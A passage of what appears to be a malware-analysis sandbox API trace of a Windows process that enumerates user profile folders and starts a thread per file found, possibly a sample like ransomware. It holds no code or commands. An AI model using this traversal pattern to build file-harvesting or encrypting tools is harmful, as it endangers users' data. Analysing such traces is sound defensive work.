RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427d20) returned 1 [0063.561] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce90) returned 1 [0063.561] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433868) returned 1 [0063.561] RtlExitUserThread (Status=0x0) Thread: id = 288 os_tid = 0x12f8 [0063.564] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433a28 [0063.564] wcscpy (in: _Dest=0x3433a28, _Source="C:\\Users\\FD1HVy\\Searches" | out: _Dest="C:\\Users\\FD1HVy\\Searches") returned="C:\\Users\\FD1HVy\\Searches" [0063.564] wcscat (in: _Dest=0x3433a28, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\") returned="C:\\Users\\FD1HVy\\Searches\\" [0063.564] wcscat (in: _Dest=0x3433a28, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\*") returned="C:\\Users\\FD1HVy\\Searches\\*" [0063.564] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3427d20 [0063.564] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Searches\\*", lpFindFileData=0x3427d20 | out: lpFindFileData=0x3427d20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd462426d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433868 [0063.565] wcscmp (_String1=".", _String2=".") returned 0 [0063.565] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x3427d20 | out: lpFindFileData=0x3427d20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd462426d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.565] wcscmp (_String1="..", _String2=".") returned 1 [0063.565] wcscmp (_String1="..", _String2="..") returned 0 [0063.565] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x3427d20 | out: lpFindFileData=0x3427d20*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0063.565] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0063.565] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0063.565] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x3427d20 | out: lpFindFileData=0x3427d20*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x44269063, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44269063, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x44269063, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0063.565] wcscmp (_String1="Everywhere.search-ms", _String2=".") returned 1 [0063.565] wcscmp (_String1="Everywhere.search-ms", _String2="..") returned 1 [0063.565] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426d90 [0063.565] wcscpy (in: _Dest=0x3426d90, _Source="C:\\Users\\FD1HVy\\Searches" | out: _Dest="C:\\Users\\FD1HVy\\Searches") returned="C:\\Users\\FD1HVy\\Searches" [0063.565] wcscat (in: _Dest=0x3426d90, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\") returned="C:\\Users\\FD1HVy\\Searches\\" [0063.565] wcscat (in: _Dest=0x3426d90, _Source="Everywhere.search-ms" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms") returned="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms" [0063.599] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3426d90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x36c [0063.600] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x3427d20 | out: lpFindFileData=0x3427d20*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x44242e24, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44242e24, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x44242e24, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0063.600] wcscmp (_String1="Indexed Locations.search-ms", _String2=".") returned 1 [0063.600] wcscmp (_String1="Indexed Locations.search-ms", _String2="..") returned 1 [0063.600] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479da8 [0063.600] wcscpy (in: _Dest=0x3479da8, _Source="C:\\Users\\FD1HVy\\Searches" | out: _Dest="C:\\Users\\FD1HVy\\Searches") returned="C:\\Users\\FD1HVy\\Searches" [0063.600] wcscat (in: _Dest=0x3479da8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\") returned="C:\\Users\\FD1HVy\\Searches\\" [0063.600] wcscat (in: _Dest=0x3479da8, _Source="Indexed Locations.search-ms" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms") returned="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms" [0063.600] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479da8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac [0063.601] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x3427d20 | out: lpFindFileData=0x3427d20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b71b019, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b71b019, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2b71b019, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms", cAlternateFileName="WINRT-~1.SEA")) returned 1 [0063.601] wcscmp (_String1="winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms", _String2=".") returned 1 [0063.601] wcscmp (_String1="winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms", _String2="..") returned 1 [0063.601] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33e5b68 [0063.601] wcscpy (in: _Dest=0x33e5b68, _Source="C:\\Users\\FD1HVy\\Searches" | out: _Dest="C:\\Users\\FD1HVy\\Searches") returned="C:\\Users\\FD1HVy\\Searches" [0063.601] wcscat (in: _Dest=0x33e5b68, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\") returned="C:\\Users\\FD1HVy\\Searches\\" [0063.601] wcscat (in: _Dest=0x33e5b68, _Source="winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms") returned="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms" [0063.601] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e5b68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4 [0063.601] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x3427d20 | out: lpFindFileData=0x3427d20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b71b019, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b71b019, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2b71b019, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms", cAlternateFileName="WINRT-~1.SEA")) returned 0 [0063.602] FindClose (in: hFindFile=0x3433868 | out: hFindFile=0x3433868) returned 1 [0063.602] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427d20) returned 1 [0063.602] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433a28) returned 1 [0063.602] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433e68) returned 1 [0063.602] RtlExitUserThread (Status=0x0) Thread: id = 289 os_tid = 0x12fc [0063.565] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x32) returned 0x3434368 [0063.566] wcscpy (in: _Dest=0x3434368, _Source="C:\\Users\\FD1HVy\\SendTo" | out: _Dest="C:\\Users\\FD1HVy\\SendTo") returned="C:\\Users\\FD1HVy\\SendTo" [0063.566] wcscat (in: _Dest=0x3434368, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\SendTo\\") returned="C:\\Users\\FD1HVy\\SendTo\\" [0063.566] wcscat (in: _Dest=0x3434368, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\SendTo\\*") returned="C:\\Users\\FD1HVy\\SendTo\\*" [0063.566] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3427f88 [0063.566] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\SendTo\\*", lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0063.566] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427f88) returned 1 [0063.566] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434368) returned 1 [0063.566] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9750) returned 1 [0063.566] RtlExitUserThread (Status=0x0) Thread: id = 290 os_tid = 0x1300 [0063.567] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fce90 [0063.567] wcscpy (in: _Dest=0x33fce90, _Source="C:\\Users\\FD1HVy\\Start Menu" | out: _Dest="C:\\Users\\FD1HVy\\Start Menu") returned="C:\\Users\\FD1HVy\\Start Menu" [0063.567] wcscat (in: _Dest=0x33fce90, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Start Menu\\") returned="C:\\Users\\FD1HVy\\Start Menu\\" [0063.567] wcscat (in: _Dest=0x33fce90, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Start Menu\\*") returned="C:\\Users\\FD1HVy\\Start Menu\\*" [0063.567] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3427f88 [0063.567] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Start Menu\\*", lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0063.568] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427f88) returned 1 [0063.568] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce90) returned 1 [0063.568] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433d68) returned 1 [0063.568] RtlExitUserThread (Status=0x0) Thread: id = 291 os_tid = 0x1304 [0063.569] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x38) returned 0x3433d68 [0063.569] wcscpy (in: _Dest=0x3433d68, _Source="C:\\Users\\FD1HVy\\Templates" | out: _Dest="C:\\Users\\FD1HVy\\Templates") returned="C:\\Users\\FD1HVy\\Templates" [0063.569] wcscat (in: _Dest=0x3433d68, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Templates\\") returned="C:\\Users\\FD1HVy\\Templates\\" [0063.569] wcscat (in: _Dest=0x3433d68, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Templates\\*") returned="C:\\Users\\FD1HVy\\Templates\\*" [0063.569] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3427f88 [0063.569] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Templates\\*", lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0063.569] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427f88) returned 1 [0063.569] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433d68) returned 1 [0063.569] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433aa8) returned 1 [0063.569] RtlExitUserThread (Status=0x0) Thread: id = 292 os_tid = 0x1308 [0063.570] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x32) returned 0x3433aa8 [0063.570] wcscpy (in: _Dest=0x3433aa8, _Source="C:\\Users\\FD1HVy\\Videos" | out: _Dest="C:\\Users\\FD1HVy\\Videos") returned="C:\\Users\\FD1HVy\\Videos" [0063.570] wcscat (in: _Dest=0x3433aa8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\") returned="C:\\Users\\FD1HVy\\Videos\\" [0063.570] wcscat (in: _Dest=0x3433aa8, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\*") returned="C:\\Users\\FD1HVy\\Videos\\*" [0063.570] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3427f88 [0063.570] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\*", lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x5dbc1028, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x5dbc1028, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433d68 [0063.570] wcscmp (_String1=".", _String2=".") returned 0 [0063.570] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x5dbc1028, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x5dbc1028, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.570] wcscmp (_String1="..", _String2=".") returned 1 [0063.572] wcscmp (_String1="..", _String2="..") returned 0 [0063.572] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x43f94523, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43f94523, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0063.572] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0063.572] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0063.572] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6beec0, ftCreationTime.dwHighDateTime=0x1d4d332, ftLastAccessTime.dwLowDateTime=0x14eac940, ftLastAccessTime.dwHighDateTime=0x1d4ccc2, ftLastWriteTime.dwLowDateTime=0x14eac940, ftLastWriteTime.dwHighDateTime=0x1d4ccc2, nFileSizeHigh=0x0, nFileSizeLow=0xde01, dwReserved0=0x0, dwReserved1=0x0, cFileName="iecb0vYAAeoMc.swf", cAlternateFileName="IECB0V~1.SWF")) returned 1 [0063.572] wcscmp (_String1="iecb0vYAAeoMc.swf", _String2=".") returned 1 [0063.572] wcscmp (_String1="iecb0vYAAeoMc.swf", _String2="..") returned 1 [0063.572] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x3481a98 [0063.572] wcscpy (in: _Dest=0x3481a98, _Source="C:\\Users\\FD1HVy\\Videos" | out: _Dest="C:\\Users\\FD1HVy\\Videos") returned="C:\\Users\\FD1HVy\\Videos" [0063.572] wcscat (in: _Dest=0x3481a98, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\") returned="C:\\Users\\FD1HVy\\Videos\\" [0063.572] wcscat (in: _Dest=0x3481a98, _Source="iecb0vYAAeoMc.swf" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\iecb0vYAAeoMc.swf") returned="C:\\Users\\FD1HVy\\Videos\\iecb0vYAAeoMc.swf" [0063.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481a98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d0 [0063.595] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x536c7e20, ftCreationTime.dwHighDateTime=0x1d4d005, ftLastAccessTime.dwLowDateTime=0x73126d20, ftLastAccessTime.dwHighDateTime=0x1d4d4ba, ftLastWriteTime.dwLowDateTime=0x73126d20, ftLastWriteTime.dwHighDateTime=0x1d4d4ba, nFileSizeHigh=0x0, nFileSizeLow=0x251b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Q8Uhq0C.mp4", cAlternateFileName="")) returned 1 [0063.596] wcscmp (_String1="Q8Uhq0C.mp4", _String2=".") returned 1 [0063.596] wcscmp (_String1="Q8Uhq0C.mp4", _String2="..") returned 1 [0063.596] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x46) returned 0x3480f38 [0063.596] wcscpy (in: _Dest=0x3480f38, _Source="C:\\Users\\FD1HVy\\Videos" | out: _Dest="C:\\Users\\FD1HVy\\Videos") returned="C:\\Users\\FD1HVy\\Videos" [0063.596] wcscat (in: _Dest=0x3480f38, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\") returned="C:\\Users\\FD1HVy\\Videos\\" [0063.596] wcscat (in: _Dest=0x3480f38, _Source="Q8Uhq0C.mp4" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4") returned="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4" [0063.596] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3480f38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6bc [0063.596] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1748c160, ftCreationTime.dwHighDateTime=0x1d4d460, ftLastAccessTime.dwLowDateTime=0xa7f639f0, ftLastAccessTime.dwHighDateTime=0x1d4cfe1, ftLastWriteTime.dwLowDateTime=0xa7f639f0, ftLastWriteTime.dwHighDateTime=0x1d4cfe1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoW TDWhGpVPO4A", cAlternateFileName="SOWTDW~1")) returned 1 [0063.596] wcscmp (_String1="SoW TDWhGpVPO4A", _String2=".") returned 1 [0063.596] wcscmp (_String1="SoW TDWhGpVPO4A", _String2="..") returned 1 [0063.596] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x3430860 [0063.596] wcscpy (in: _Dest=0x3430860, _Source="C:\\Users\\FD1HVy\\Videos" | out: _Dest="C:\\Users\\FD1HVy\\Videos") returned="C:\\Users\\FD1HVy\\Videos" [0063.597] wcscat (in: _Dest=0x3430860, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\") returned="C:\\Users\\FD1HVy\\Videos\\" [0063.597] wcscat (in: _Dest=0x3430860, _Source="SoW TDWhGpVPO4A" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A" [0063.597] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3430860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b4 [0063.597] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c661b0, ftCreationTime.dwHighDateTime=0x1d4d42e, ftLastAccessTime.dwLowDateTime=0x82ac4ef0, ftLastAccessTime.dwHighDateTime=0x1d4c8c5, ftLastWriteTime.dwLowDateTime=0x82ac4ef0, ftLastWriteTime.dwHighDateTime=0x1d4c8c5, nFileSizeHigh=0x0, nFileSizeLow=0x18cf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="XVHh3H nmxl7BXcBVc.flv", cAlternateFileName="XVHH3H~1.FLV")) returned 1 [0063.597] wcscmp (_String1="XVHh3H nmxl7BXcBVc.flv", _String2=".") returned 1 [0063.597] wcscmp (_String1="XVHh3H nmxl7BXcBVc.flv", _String2="..") returned 1 [0063.597] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426f98 [0063.597] wcscpy (in: _Dest=0x3426f98, _Source="C:\\Users\\FD1HVy\\Videos" | out: _Dest="C:\\Users\\FD1HVy\\Videos") returned="C:\\Users\\FD1HVy\\Videos" [0063.597] wcscat (in: _Dest=0x3426f98, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\") returned="C:\\Users\\FD1HVy\\Videos\\" [0063.597] wcscat (in: _Dest=0x3426f98, _Source="XVHh3H nmxl7BXcBVc.flv" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv") returned="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv" [0063.597] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3426f98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b0 [0063.598] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c661b0, ftCreationTime.dwHighDateTime=0x1d4d42e, ftLastAccessTime.dwLowDateTime=0x82ac4ef0, ftLastAccessTime.dwHighDateTime=0x1d4c8c5, ftLastWriteTime.dwLowDateTime=0x82ac4ef0, ftLastWriteTime.dwHighDateTime=0x1d4c8c5, nFileSizeHigh=0x0, nFileSizeLow=0x18cf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="XVHh3H nmxl7BXcBVc.flv", cAlternateFileName="XVHH3H~1.FLV")) returned 0 [0063.598] FindClose (in: hFindFile=0x3433d68 | out: hFindFile=0x3433d68) returned 1 [0063.598] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427f88) returned 1 [0063.598] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433aa8) returned 1 [0063.598] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e97c0) returned 1 [0063.598] RtlExitUserThread (Status=0x0) Thread: id = 293 os_tid = 0x130c [0063.572] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3434368 [0063.572] wcscpy (in: _Dest=0x3434368, _Source="C:\\Users\\Default\\Cookies" | out: _Dest="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0063.572] wcscat (in: _Dest=0x3434368, _Source="\\" | out: _Dest="C:\\Users\\Default\\Cookies\\") returned="C:\\Users\\Default\\Cookies\\" [0063.573] wcscat (in: _Dest=0x3434368, _Source="*" | out: _Dest="C:\\Users\\Default\\Cookies\\*") returned="C:\\Users\\Default\\Cookies\\*" [0063.573] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34281f0 [0063.573] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*", lpFindFileData=0x34281f0 | out: lpFindFileData=0x34281f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0063.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34281f0) returned 1 [0063.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434368) returned 1 [0063.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e0618) returned 1 [0063.573] RtlExitUserThread (Status=0x0) Thread: id = 294 os_tid = 0x1310 [0063.574] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3434368 [0063.574] wcscpy (in: _Dest=0x3434368, _Source="C:\\Users\\Default\\Desktop" | out: _Dest="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0063.574] wcscat (in: _Dest=0x3434368, _Source="\\" | out: _Dest="C:\\Users\\Default\\Desktop\\") returned="C:\\Users\\Default\\Desktop\\" [0063.574] wcscat (in: _Dest=0x3434368, _Source="*" | out: _Dest="C:\\Users\\Default\\Desktop\\*") returned="C:\\Users\\Default\\Desktop\\*" [0063.574] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34281f0 [0063.574] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*", lpFindFileData=0x34281f0 | out: lpFindFileData=0x34281f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, 